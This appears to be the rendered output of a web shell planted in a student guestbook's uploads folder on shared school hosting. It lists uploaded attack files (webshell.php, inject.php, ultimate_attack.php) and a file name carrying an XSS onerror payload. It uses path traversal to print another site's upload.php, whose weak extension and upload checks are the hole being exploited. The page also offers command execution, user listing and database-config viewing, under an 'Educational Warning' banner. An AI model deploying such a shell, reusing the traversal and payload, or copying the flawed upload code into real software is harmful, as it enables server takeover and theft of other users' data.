🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../583521.klas4s23.mid-ica.nl/public_html/Gastenboek/upload.php

<?php
// zorgt ervoor dat je maar 1 keer een bericht kan versturen
session_start();

if (!isset ($_SESSION['bericht_verstuurd'])) {


    if ($_SERVER["REQUEST_METHOD"] == "POST") {

        $checkBericht = $_POST['bericht'];

        echo "Message sent: $checkBericht";

        $_SESSION['bericht_verstuurd'] = true;
    }
} else {
    echo "Je hebt al een bericht verstuurd.";
}


// checken of het formulier is verstuurd
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    // als het formulier niet is verstuurd, redirect naar de homepage

    // haal json op van de server
    $json = file_get_contents('messages.json');

    // zet json om naar associative array
    $data = json_decode($json, true);

    // sla de variabelen op van het formulier (naam, bericht, image) in variabeles.
    $voornaam = $_POST['firstName'];
    $achternaam = $_POST['lastName'];
    $message = $_POST['message'];



    $target_file = null;

    if (($_FILES['image']['size'] > 0)) {
        $image = $_FILES['image'];


        // Controleert of foto echt is
        $target_dir = "images/";
        $target_file = $target_dir . basename($_FILES["image"]["name"]);
        $uploadOk = 1;
        $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
        var_dump($imageFileType);

        // Check if image file is a actual image or fake image
        if (isset($_POST["submit"])) {
            $check = getimagesize($_FILES["image"]["tmp_name"]);
            if ($check !== false) {
                echo "File is an image - " . $check["mime"] . ".";
                $uploadOk = 1;
            } else {
                echo "Betsand is geen foto.";
                $uploadOk = 0;
            }
        }

        // Check if file already exists
        if (file_exists($target_file) && $imageFileType != '') {
            echo "Sorry, het bestand bestaad al.";
            $uploadOk = 0;
        }

        // Check file size
        if ($_FILES["image"]["size"] > 800000) {
            echo "Sorry, je bestand is te groot.";
            $uploadOk = 0;
        }

        // Allow certain file formats
        if (
            $imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
            && $imageFileType != "gif" && $imageFileType != ''
        ) {
            echo "Sorry, alleen JPG, JPEG, PNG & GIF bestanden zijn toegestaan.";
            $uploadOk = 0;
        }

        // Check if $uploadOk is set to 0 by an error
        if ($uploadOk == 0) {
            echo "Sorry, your file was not uploaded.";
            // if everything is ok, try to upload file
        } else {
            if ($imageFileType == move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) {
                echo "The file " . htmlspecialchars(basename($_FILES["image"]["name"])) . " has been uploaded.";
            } else {
                echo "Sorry, er is een fout opgetreden bij het uploaden van uw bestand.";
            }
        }

        if ($uploadOk == 0) {
            $target_file = null;

        }

    } else {
        echo 'geen image';
    }

    // voeg de nieuwe variabeles toe aan de array
    $data[] = (
        [
            "voornaam" => SanitizeInput($voornaam),
            "achternaam" => SanitizeInput($achternaam),
            "bericht" => SanitizeInput($message),
            "image" => $target_file,
            "timeStamp" => time()
        ]
    );


    // sla de array op in een json bestand
    $json = json_encode($data, JSON_PRETTY_PRINT);
    file_put_contents('messages.json', $json);

    header('Location: index.html');
}

function SanitizeInput($inputData)
{

    $filteredInput = filter_var($inputData, FILTER_SANITIZE_STRING);

    // Ontsnap de invoer voordat je deze als JSON encodeert
    return $filteredInput;
}

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!